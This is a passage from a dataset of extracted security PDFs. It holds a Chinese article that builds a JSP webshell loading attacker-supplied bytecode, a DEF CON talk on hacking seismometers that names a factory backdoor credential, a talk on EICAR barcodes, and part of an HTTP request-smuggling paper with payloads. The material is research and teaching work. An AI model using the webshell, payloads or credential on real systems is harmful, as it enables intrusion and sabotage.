\"yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAo\nABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs\nZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAApMY29tL2NhbGM7AQAIPGNsa\nW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQ\ncAHAEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYww\nAIwAkAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJQAKAQAIY29tL2NhbGMBABBqYXZh\nL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVK\nClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZz\nspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAA\nAAgABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAUADQAA\nAAwAAQAAAAUADgAPAAAACAAQAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAIS\nyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAAIAAkACwAMAAkADQAKABEADAANAA\nAADAABAA0ABAARABIAAAATAAAABwACTAcAFAQAAQAVAAAAAgAW\";\n14 byte[] bytes = Base64.getDecoder().decode(cls);\n15\n16 DefineLoader defineLoader1 = new DefineLoader();\n17 try {\n18 defineLoader1.load(bytes);\n19 } catch (Exception e) {\n20 e.printStackTrace();\n21 }\n22 DefineLoader defineLoader2 =new DefineLoader();\n23 try {\n24 Class.forName(\"com.calc\",true,defineLoader1);\n25 } catch (ClassNotFoundException e) {\n26 e.printStackTrace();\n27 }\n28 }\n29 }\n4\n接着修改Class.forname的类加载器为另⼀个defineLoader2再运⾏\n这个时候因为使⽤的另⼀个不同的类加载器进⾏加载，所以就提示找不到这个类了\n再做⼀个实验，打印两个Class的hashCode，发现两者确实是不同的。\n1 try {\n2 Class.forName(\"com.calc\",true,defineLoader2);\n3 } catch (ClassNotFoundException e) {\n4 e.printStackTrace();\n5 }\n5\n 1 package loader;\n 2\n 3 import java.util.Base64;\n 4\n 5 public class test1 {\n 6 public static class DefineLoader extends ClassLoader {\n 7 public Class load(byte[] bytes) {\n 8 return super.defineClass(null, bytes, 0, bytes.lengt\nh);\n 9 }\n10 }\n11\n12 public static void main(String[] args) {\n13 String cls = \"yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAo\nABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs\nZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAApMY29tL2NhbGM7AQAIPGNsa\nW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQ\ncAHAEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYww\nAIwAkAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJQAKAQAIY29tL2NhbGMBABBqYXZh\nL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVK\nClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZz\nspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAA\nAAgABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAUADQAA\nAAwAAQAAAAUADgAPAAAACAAQAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAIS\nyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAAIAAkACwAMAAkADQAKABEADAANAA\nAADAABAA0ABAARABIAAAATAAAABwACTAcAFAQAAQAVAAAAAgAW\";\n14 byte[] bytes = Base64.getDecoder().decode(cls);\n15\n16 DefineLoader defineLoader1 = new DefineLoader();\n17 DefineLoader defineLoader2 =new DefineLoader();\n18 try {\n19 Class cls1 = defineLoader1.load(bytes);\n20 System.out.println(cls1.hashCode());\n21 Class cls2 = defineLoader2.load(bytes);\n22 System.out.println(cls2.hashCode());\n23 } catch (Exception e) {\n24 e.printStackTrace();\n6\n在JAVA世界⾥，决定⼀个类的唯⼀性主要有两点：\n类名\n他的类加载器。\n所以在每次打过去的类名都是相同的情况下，我们只要保证这两个类是由不同的加载器去加载的就可以解\n决类重复加载的问题了。\n所以冰蝎、蚁剑的jsp shell在每次调⽤之前都会去new⼀个新的类加载器来加载对应的字节码，这样就可\n以保证不会出现类重复加载的问题。\n那么应该怎么⽤反射写呢？\n原来的shell中是写了⼀个⼦类继承ClassLoader，我们完全可以从jdk中找⼀个同样继承ClassLoader并且\n没有改写defineClass的⼦类\n25 }\n26\n27 }\n28 }\n⽐较两个类是否“相等”，只有在这两个类是由同⼀个类加载器加载的前提下才有意义，否则，即使这两\n个类来源于同⼀个Class⽂件，被同⼀个虚拟机加载，只要加载它们的类加载器不同，那这两个类就必\n定不相等。\n7\n在这⾥我们选择java.security.SecureClassLoader这个类，每次去new⼀个这个类，然后\ndefineClass.invoke的时候把new出来的ClassLoader实例给传进去。\n构造出来的shell如下：\n 1 <%!\n 2 public byte[] base64Decode(String str) throws Exception {\n 3 try {\n 4 Class clazz = Class.forName(\"sun.misc.BASE64Decode\nr\");\n 5 return (byte[]) clazz.getMethod(\"decodeBuffer\", Strin\ng.class).invoke(clazz.newInstance(), str);\n 6 } catch (Exception e) {\n 7 Class clazz = Class.forName(\"java.util.Base64\");\n 8 Object decoder = clazz.getMethod(\"getDecoder\").invoke\n(null);\n 9 return (byte[]) decoder.getClass().getMethod(\"decod\ne\", String.class).invoke(decoder, str);\n10 }\n11 }\n12 %>\n13 <%\n14 String cls = request.getParameter(\"ant\");\n15\n16 if (cls != null) {\n17 try {\n18 byte[] payload = base64Decode(cls);\n19 ClassLoader loader = this.getClass().getClassLoader\n();\n20 java.lang.reflect.Method defineMethod = java.lang.Cla\n8\n可以正常使⽤\n研究过内存⻢的同学可以发现，很多内存⻢都继承了ClassLoader这个类，原因就是如果新建⼀个⼦类的\n话，内部类会单独产⽣⼀个class⽂件，导致没办法⼀次性打过去。所以就⼲脆把外部类变成ClassLoader\n的⼦类，直接调⽤本类的defineClass⽅法来加载恶意字节码。\nssLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, in\nt.class, int.class);\n21 defineMethod.setAccessible(true);\n22 java.lang.reflect.Constructor constructor = java.secu\nrity.SecureClassLoader.class.getDeclaredConstructor(ClassLoader.c\nlass);\n23 constructor.setAccessible(true);\n24 java.lang.ClassLoader cl = (java.lang.ClassLoader) co\nnstructor.newInstance(new Object[]{loader});\n25 java.lang.Class c = (java.lang.Class) defineMethod.in\nvoke(cl, payload, 0, payload.length);\n26 c.newInstance().equals(request);\n27 } catch (Exception e) {\n28 e.printStackTrace();\n29 }\n30 }\n31 %>\n最后\n9\n但是在⼀些特殊情况下，⽐如说⽤TemplatesImpl打进去的时候，我们需要让恶意类来继承\nAbstractTranslet这个⽗类才可以，但是JAVA的设定是不能继承多个类。所以很多⽂章都是⽤\nTemplatesImpl的恶意类再去defineClass加载真正的内存⻢，这样就有点麻烦了。如果⽤本⽂中的写法，\n就不需要再继承ClassLoader了。"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":53,"cells":{"text":{"kind":"string","value":"Exploiting and attacking seismological networks .. \nRemotely \nBertin B – James jara NetDB Search Engine \nDEFCON 24 Las Vegas, Nevada \nDisclaimer \n- This is not a typical talk \n-Probably it is the first research of this kind \n-All vulnerabilities have been reported to U.S CERT \n-We are not responsible of the actions that \nsomeone can take after attend this talk \n-Peace on earth \nAgenda \n-Who we are \n-Motivation \n-How we discovered this devices? \n-Risk /Impact , who is affected by attacking \nthis devices ? \n-Seismological instrumentation \n-Internals /Deployment/Networking \n-Vulnerabilities /firmware analysis \n-Attack vectors / post exploitation \n-Recommendations/conclusions \nBertin Bervis \nNetDB Co-founder \n@bertinjoseb \nJames Jara \nNetDB Co-founder \n@jamesjara \nWe are from San Jose Costa Rica \nMotivation \nWhy we are interested in seismological networks? \nAn average attacker is not interested for this attacks \nGovernments are interested.. you know.. …..!@#$% WAR \nCool and new attack scenario ¨extreme environment¨ \nYou are playing with devices that measure natural disasters \nCould lead to a financial sabotage to a specific company/country \nThe vendors of this instruments doesn’t have any sense of computer security \nRemote access, remote exploitation \nOk let’s continue this project… \nHow we discovered this devices? \nDEMO \nFingerprints too many fingerprints \nFor some strange reason you find a unique fingerprint in millions… \nDEMO \nSo.. WTF is TAURUS ???? Let´s connect to that shit NOW! \nSeismometers are instruments that measure motion of the \nground, including those of seismic waves generated \nby earthquakes, volcanic eruptions, and other seismic \nsources. Records of seismic waves allow seismologists to \nmap the interior of the Earth, and locate and measure the \nsize of these different sources. \nWikipedia \nCommon aplications: \n-Earthquake detection \n-Geophysics, geothermal development \n-Structural analysis \n-Mine safety \n-Fracking / Drilling \nGPS REAL DATA \nLOCATION DEMO \nOcean bottom \nseismograph \nImpact \n-No one else has ever done a research about security of this devices or networks \nbefore \n-Remote Denial of service \n-Remote management \n-Several Bugs \n-Sabotage seismological country’s network \n-Economic impact for Oil and Gas research for specific company \n-Drug trafficking submarine detection \n-Military \n-Unknow \nThis increased understanding can lead to improved oil and gas recovery. \nVendors found \nInternals \nLinux based OS \nRemote management \nSSH TELNET FTP Web Server \nGPS \nOcean bottom \nBattery /Solar panels \nSophisticated \nDeployment options \nThe Taurus may be deployed as either a stand-alone data recorder or as a network \ncomponent. \nFor stand-alone recording where network access is not required, typically you would \nconfigure the Taurus to run in Buffered mode. It consumes less power in this mode as \nthe Controller only runs when the Taurus is recording buffered data to the Store. \nFor networked operation you must configure the Taurus to run in Communications mode \nand configure the appropriate network options. In this mode, the Controller is running \ncontinuously. It consumes more power than Buffered mode but allows continuous \naccess via an IP connection. \nYou can stream time-series data from a Taurus to a central acquisition server, for \nexample to write the data to NAQS ringbuffers. To stream Taurus data to NAQS, the \nNpToNmxp utility must be running on the NAQS server \n• Stream NP Packets – Set Taurus to stream data to the specified destination; enabled , \nnot enabled . Factory default is not enabled. • IP Address – The address of the streaming \ndestination (for example, a NAQS server); a valid IP address in dotted decimal format \nApplications software Nanometrics Apollo acquisition server with web interface \nGeophysicists depend on seismometers to \nmonitor earthquakes generated by the motion \nof the tectonic plates that form the Earth’s \ncrust. In order to function, the instruments \nneed to be leveled prior to operation. That’s \neasy enough for a device deployed on dry land, \nbut when it comes to seismometers placed on \nthe ocean floor thousands of feet below the \nsurface, the process gets a bit more \nchallenging. To solve it, Nanometrics Inc. \n(Kanata, Ontario) combines sophisticated \ngimbals and microprocessors, along with ultra-\nreliable, efficient motors from MICROMO \n(Clearwater, FL). \nSensor Earth Deployment \nThe seismological network \nOcean Bottom seismic network - Autonomous Underwater Vehicles (AUVs) \nAthena: Event Cataloging and Notification \nManagement \nChallenge: In order to function, the \ninstruments need to be leveled prior to \noperation. Not easy when it is thousands feet \non the ocean floor. \nSolution: To solve it, Nanometrics Inc. (Kanata, \nOntario) combines sophisticated gimbals and \nmicroprocessors, along with ultra-reliable, \nefficient motors from MICROMO (Clearwater, \nFL) \nResults: A Trillium 240 was deployed at the \nSouth Pole and it operated perfectly. The turn-\non temperature was -58°C (-136°F). The system \ntemperature settled eventually to -50° C (-\n122°F) and stayed there for a long period of \ntime. The motors turned on and did exactly \nwhat they were supposed to do \nOCEAN BOTTOM DEPLOYMENT VIDEO DEMO \nTo deploy the Trillium OBS (black cylinder), \nusers attach the seismometer to a metal sled \nthat carries it down to the sea floor. At the end \nof the experiment, the transponder signal \ntriggers the release of ballast and the \ninstrument floats to the surface. (Courtesy of \nNanometrics Inc. \nInside the Solution \nSeismometers capture transient phenomenon. If an instrument \nmalfunctions, whether it’s at the bottom of \nthe ocean or atop a polar ice cap, that data \nis lost forever. “You need to be absolutely sure the sensor will \nperform perfectly every time,” says Jeff Potter, director of marketing at \nNanometrics. “Seismometers also need to be small and consume very little \npower when they level themselves, and that’s where MICROMO has helped.” \nThe leveling mechanism integrates the following devices: \nThe AM1020-V-6-65, a in a 10-mm-diameter, two- phase stepper motor that \nprovides a peak torque of 1.6 mNm. With 20 steps per revolution, and \nPRECIstep technology, the motor offers reliable, accurate motion, even in harsh \nenvironments. \nA 10/1 planetary gearbox provides a 256:1 reduction ratio in a 10-mm-\ndiameter package. \nVulnerability research \n-We want a shell in that thing \n-The firmware was not easy to find in the internet \n-This equipment is very expensive \n-Not everyone can buy these things directly to the \nvendor, you need to be an organization/academics . \n-Let tell you the story about how i was be able to get the \nfirmware ….. \nFUCK YEAH!!!!!! \nWTF? \nBUSTED…but too late for them \nToo much talk!! \nroot@root \nDEMO TIME \ndolphin18 \nThere is backdoor, factory user is not in official documentation. \nTest some vulnerabilities.. You know.. \nPWD !! Shellshock \nBugs and errors everywhere \nGURALP Systems are easy to find looking in the SSL certificate metadata in NetDB \nOk , now we are root so .. What’s next ? \nPROTOCOL / COMMUNICATIONS \nThe Standard for the Exchange of Earthquake \nData (SEED) is a data format intended primarily \nfor the archival and exchange of seismological \ntime series data and related metadata. The \nformat is maintained by the International \nFederation of Digital Seismograph Networks \nand documented in the SEED Manual (PDF \nformat). Originally designed in the late 1980s, \nthe format has been enhanced and refined a \nnumber of times and remains in widespread \nuse. \nData identification nomenclature \nThe SEED format uses 4 name components to uniquely identify a time series and \nprovide attribution to the owner of the data: \nNetwork code: a 1 or 2 character code identifying the network/owner of the data. \nThese codes are assigned by the FDSN to provide uniqueness to seismological data, new \ncodes may be requested. \nStation code: a 1 to 5 character identifier for the station recording the data. \nLocation ID: a 2 character code used to uniquely identify different data streams at a \nsingle station. These IDs are commonly used to logically separate multiple instruments \nor sensor sets at a single station. \nChannel codes: a 3 character combination used to identify the 1) band and general \nsample rate 2) the instrument type and 3) the orientation of the sensor. A convention \nfor these codes has been established and is documented in Appendix A of \nthe SEED Manual. \nWhat if…… \nGuralp systems SCREAM protocol for transmitting seismic data over the internet \nConclusions \n-We are be able to locate this devices anywhere in the world \n-We are in control of the device , the network and the \nsoftware running on it. \n-There is no SSL in communications \n-This devices help engineers to save people and understand \nthe earth \n-Vendors please… code better and think in security \n Recommendations \nTHANKS \n SEE YOU NEXT TIME !!"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":54,"cells":{"text":{"kind":"string","value":"Free \nPowerPoint \nTemplates\nOld McDonald Had A Barcode…\nE-I E-I CAR\nFree \nPowerPoint \nTemplates\nRICHARD HENDERSON\nDEF CON 29 – Las Vegas, NV USA – August 2021\nWho Am I?\nRichard:\nHam/electronics nerd, writer, infosec professional. DEF \nCON trainer, contest runner. \n@RichSentMe\nPreface: What would happen if you \nbuilt a system that is designed to \naccept barcode inputs but didn’t do \nany input validation?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWhat IS the EICAR string?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR\n-STANDARD-ANTIVIRUS-TEST-\nFILE!$H+H* \nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWho created it?\nWhat is it used for?\nHow does it work?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nQR Codes\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWhat would happen if you put the two together?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWhere did this whole thing start?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nBeyond a sticker on your car, what \nelse could you do?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\n• This video was sent to me by a \nrandom friend… I would never do \nsomething stupid like this.\n• This is a passport scanner at a \nport of entry\n• Many countries now offer people \nentering a smartphone app to \ndigitally fill out their customs \nentry card… and that app creates \na QR code that the passport \nmachines can read…\nFree \nPowerPoint \nTemplates\nSo what happened here?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWhy does this “attack” work?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nMuch like ICS and SCADA where \ncompanies just \"bolted-on\" internet \nconnectivity with zero thoughts of \nthe security implications of doing so, \ncompanies are making devices \n\"smart\" and not really thinking very \nmuch about how people might be \nable to fuck with them.\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nMost of these “smart” machines are \nall running Windows or Windows \nEmbedded underneath.\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWhy are devices and systems \nscanning QR codes anyway?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWhat other things might you be able \nto scan???\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nAmazingly, I have yet to be able to \nfind a parking enforcement officer \nwilling to let me try (lol)\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nExtensions of this “attack”\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nThere are a lot of 2D barcode types \nout there… try and figure out which \nones your target is using.\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nData Matrix\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nAztec\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nMaxiCode\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nMicroPDF417\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nHan Xin\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nCould you take some malicious JS \nand have a system parse it?\nOr just something as simple as \nsending someone to a malicious \nURL…\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nCredit: appsec-labs\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWhat other systems might you be \nable to attack?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWhat would happen if you encode \nEICAR into an RFID tag?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nATMs often use Windows \nunderneath… \nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nSome railroads use RFID tags on \ncargo containers to track the \nmovement of cargo containers… and \nhave for more than 20 years.\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nA whole bunch of retailers are using \nRFID tags now to combat theft and \nto make checking out way faster:\n-\nUniqlo\n-\nH&M\n-\nZara\n-\netc.\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nYou can buy just about anything on \nAliExpress… or Amazon these days.\nFree \nPowerPoint \nTemplates\nIs this shit legal?\nIANAL.\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nBut what IS the legality of walking \naround with a giant barcode on your \nbackpack causing random camera \nsystems to crash?\nYou didn’t give them permission to \nscan it… and shouldn’t they have \ninput validation anyway?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nWant to try it out?\nStickermule is a great site to do \nsmall runs of stickers cheaply, but \nthere are dozens others.\nLaser labels at home work great.\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nEmbroidered patches:\nGoogle it. You’ll find it. Not going to \nshill my site here.\nIf you’re at DEF CON in person, come \non up and get a patch for free.\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nQuestions?\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nDid you try this out and find \nsomething interesting?\nLET ME KNOW:\nrichard@goatse.cx (yes, really)\nFree \nPowerPoint \nTemplates\nFree \nPowerPoint \nTemplates\nTHANK YOU!\nFree \nPowerPoint \nTemplates"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":55,"cells":{"text":{"kind":"string","value":"HTTP Desync Attacks: Smashing into the Cell\nNext Door\nJames Kettle - james.kettle@portswigger.net - @albinowax\nAbstract\nHTTP requests are traditionally viewed as isolated, standalone entities. In this paper, I'll explore forgotten\ntechniques for remote, unauthenticated attackers to smash through this isolation and splice their requests into\nothers, through which I was able to play puppeteer with the web infrastructure of numerous commercial and\nmilitary systems, rain exploits on their visitors, and harvest over $60k in bug bounties.\nUsing these targets as case studies, I'll show you how to delicately amend victim's requests to route them into\nmalicious territory, invoke harmful responses, and lure credentials into your open arms. I'll also demonstrate\nusing backend reassembly on your own requests to exploit every modicum of trust placed on the frontend,\ngain maximum privilege access to internal APIs, poison web caches, and compromise PayPal's login page.\nHTTP Request Smuggling was first documented back in 2005 by Watchfire1, but a fearsome reputation for\ndifficulty and collateral damage left it mostly ignored for years while the web's susceptibility grew. Alongside\nnew attack variants and exploitation vectors, I'll help you tackle this legacy with custom open-source tooling\nand a refined methodology for reliable black-box detection, assessment and exploitation with minimal risk of\ncollateral damage.\nCore concepts\nSince HTTP/1.1 there's been widespread support for sending multiple HTTP requests over a single\nunderlying TCP or SSL/TLS socket. The protocol is extremely simple - HTTP requests are simply placed\nback to back, and the server parses headers to work out where each one ends and the next one starts. This is\noften confused with HTTP pipelining2, which is a rarer subtype that's not required for the attacks described in\nthis paper.\nBy itself, this is harmless. However, modern websites are composed of chains of systems, all talking over\nHTTP. This multi-tiered architecture takes HTTP requests from multiple different users and routes them over\na single TCP/TLS connection:\nFront-end\nBack-end\nThis means that suddenly, it's crucial that the backend agrees with the frontend about where each message\nends. Otherwise, an attacker might be able to send an ambiguous message which gets interpreted as two\ndistinct HTTP requests by the backend:\nFront-end\nBack-end\nThis gives the attacker the ability to prepend arbitrary content at the start of the next legitimate user's request.\nThroughout this paper, the smuggled content will be referred to as the 'prefix', and highlighted in orange.\nLet's imagine that the front-end prioritises the first content-length header, and the back-end prioritises the\nsecond. From the backend's perspective, the TCP stream might look something like:\nPOST/HTTP/1.1\nHost:example.com\nContent-Length:6\nContent-Length:5\n12345GPOST/HTTP/1.1\nHost:example.com\n…\nUnder the hood, the frontend forwards the blue and orange data on to the backend, which only reads the blue\ncontent before issuing a response. This leaves the backend socket poisoned with the orange data. When the\nlegitimate green request arrives it ends up appended onto the orange content, causing an unexpected\nresponse.\nIn this example, the injected 'G' will corrupt the green user's request and they will probably get a response\nalong the lines of \"Unknown method GPOST\".\nEvery attack in this paper follows this basic format. The Watchfire paper describes an alternative approach\ndubbed 'backward request smuggling' but this relies on pipelining between the front and backend systems, so\nit's rarely an option.\nIn real life, the dual content-length technique rarely works because many systems sensibly reject requests\nwith multiple content-length headers. Instead, we're going to attack systems using chunked encoding - and\nthis time we've got the specification RFC 2616 on our side3:\nIf a message is received with both a Transfer-Encoding header field and a Content-Length header\nfield, the latter MUST be ignored.\nSince the specification implicitly allows processing requests using both Transfer-Encoding:\nchunked and Content-Length, few servers reject such requests. Whenever we find a way to hide the\nTransfer-Encoding header from one server in a chain it will fall back to using the Content-Length and we can\ndesynchronize the whole system.\nYou might not be very familiar with chunked encoding since tools like Burp Suite automatically buffer\nchunked requests/responses into regular messages for ease of editing. In a chunked message, the body\nconsists of 0 or more chunks. Each chunk consists of the chunk size, followed by a newline, followed by the\nchunk contents. The message is terminated with a chunk of size 0. Here's simple desynchronisation attack\nusing chunked encoding:\nPOST/HTTP/1.1\nHost:example.com\nContent-Length:6\nTransfer-Encoding:chunked\n0\nGPOST/HTTP/1.1\nHost:example.com\nWe haven't made any effort to hide the Transfer-Encoding header here, so this exploit will primarily work on\nsystems where the frontend simply doesn't support chunked encoding - a behaviour seen on many websites\nusing the content delivery network Akamai.\nIf it's the backend that doesn't support chunked encoding, we'll need to flip the offsets around:\nPOST/HTTP/1.1\nHost:example.com\nContent-Length:3\nTransfer-Encoding:chunked\n6\nPREFIX\n0\nPOST/HTTP/1.1\nHost:example.com\nThis technique works on quite a few systems, but we can exploit many more by making the Transfer-\nEncoding header slightly harder to spot, so that one system doesn't see it. This can be achieved using\ndiscrepancies in server's HTTP parsing. Here's a few examples of requests where only some servers recognise\nthe Transfer-Encoding:chunked header. Each of these has been successfully used to exploit at least\none system during this research:\nTransfer-Encoding:xchunked\nTransfer-Encoding:chunked\nTransfer-Encoding:chunked\nTransfer-Encoding:x\nTransfer-Encoding:[tab]chunked\nGET/HTTP/1.1\nTransfer-Encoding:chunked\nX:X[\\n]Transfer-Encoding:chunked\nTransfer-Encoding\n:chunked\nEach of these quirks is harmless if both the front-end and back-end server have it, and a major threat\notherwise. For yet more techniques, check out regilero's ongoing research4. We'll look at practical examples\nusing other techniques shortly.\nMethodology\nThe theory behind request smuggling is straightforward, but the number of uncontrolled variables and our\ntotal lack of visibility into what's happening behind the front-end can cause complications.\nI've developed techniques and tools to tackle these challenges, and composed them into following simple\nmethodology with which we can hunt down request smuggling vulnerabilities and prove their impact:\nDetect\nConfirm\nExplore\nStore\nAttack\nDetect\nThe obvious approach to detecting request smuggling vulnerabilities is to issue an ambiguous request\nfollowed by a normal 'victim' request, then observe whether the latter gets an unexpected response. However,\nthis is extremely prone to interference; if another user's request hits the poisoned socket before our victim\nrequest, they'll get the corrupted response and we won't spot the vulnerability. This means that on a live site\nwith a high volume of traffic it can be hard to prove request smuggling exists without exploiting numerous\ngenuine users in the process. Even on a site with no other traffic, you'll risk false negatives caused by\napplication-level quirks terminating connections.\nTo address this, I've developed a detection strategy that uses a sequence of messages which make vulnerable\nbackend systems hang and time out the connection. This technique has few false positives, resists\napplication-level quirks that would otherwise cause false negatives, and most importantly has virtually no\nrisk of affecting other users.\nLet's assume the front-end server uses the Content-Length header, and the back-end uses the Transfer-\nEncoding header. I'll refer to this orientation as CL.TE for short. We can detect potential request smuggling\nby sending the following request:\nPOST/aboutHTTP/1.1\nHost:example.com\nTransfer-Encoding:chunked\nContent-Length:4\n1\nZ\nQ\nThanks to the short Content-Length, the front end will forward the blue text only, and the back end will time\nout while waiting for the next chunk size. This will cause an observable time delay.\nIf both servers are in sync (TE.TE or CL.CL), the request will either be rejected by the front-end or\nharmlessly processed by both systems. Finally, if the desync occurs the other way around (TE.CL) the front-\nend will reject the message without ever forwarding it to the backend, thanks to the invalid chunk size 'Q'.\nThis prevents the backend socket from being poisoned.\nWe can safely detect TE.CL desync using the following request:\nPOST/aboutHTTP/1.1\nHost:example.com\nTransfer-Encoding:chunked\nContent-Length:6\n0\nX\nThanks to the terminating '0' chunk the front-end will only forward the blue text, and the back-end will time\nout waiting for the X to arrive.\nIf the desync happens the other way around (CL.TE) then this approach will poison the backend socket with\nan X, potentially harming legitimate users. Fortunately, by always running the prior detection method first,\nwe can rule out that possibility.\nThese requests can be adapted to target arbitrary discrepancies in header parsing, and they're used to\nautomatically identify request smuggling vulnerabilities by Desynchronize5 - an open source Burp Suite\nextension developed to help with such attacks. They're also now used in Burp Suite's core scanner. Although\nthis is a server-level vulnerability, different endpoints on a single domain are often routed to different\ndestinations, so this technique should be applied to every endpoint individually.\nConfirm\nAt this point, you've gone as far as you can without risking side effects for other users. However, many\nclients will be reluctant to treat a report seriously without further evidence, so that's what we're going to get.\nThe next step toward demonstrating the full potential of request smuggling is to prove backend socket\npoisoning is possible. To do this we'll issue a request designed to poison a backend socket, followed by a\nrequest which will hopefully fall victim to the poison, visibly altering the response.\nIf the first request causes an error the backend server may decide to close the connection, discarding the\npoisoned buffer and breaking the attack. Try to avoid this by targeting an endpoint that is designed to accept a\nPOST request, and preserving any expected GET/POST parameters.\nSome sites have multiple distinct backend systems, with the front-end looking at each request's method,\nURL, and headers to decide where to route it. If the victim request gets routed to a different back-end from\nthe attack request, the attack will fail. As such, the 'attack' and 'victim' requests should initially be as similar\nas possible.\nIf the target request looks like:\nPOST/searchHTTP/1.1\nHost:example.com\nContent-Type:application/x-www-form-urlencoded\nContent-Length:10\nq=smuggling\nThen an attempt at CL.TE socket poisoning would look like:\nPOST/searchHTTP/1.1\nHost:example.com\nContent-Type:application/x-www-form-urlencoded\nContent-Length:51\nTransfer-Encoding:zchunked\n11\n=x&q=smuggling&x=\n0\nGET/404HTTP/1.1\nFoo:bPOST/searchHTTP/1.1\nHost:example.com\n…\nIf 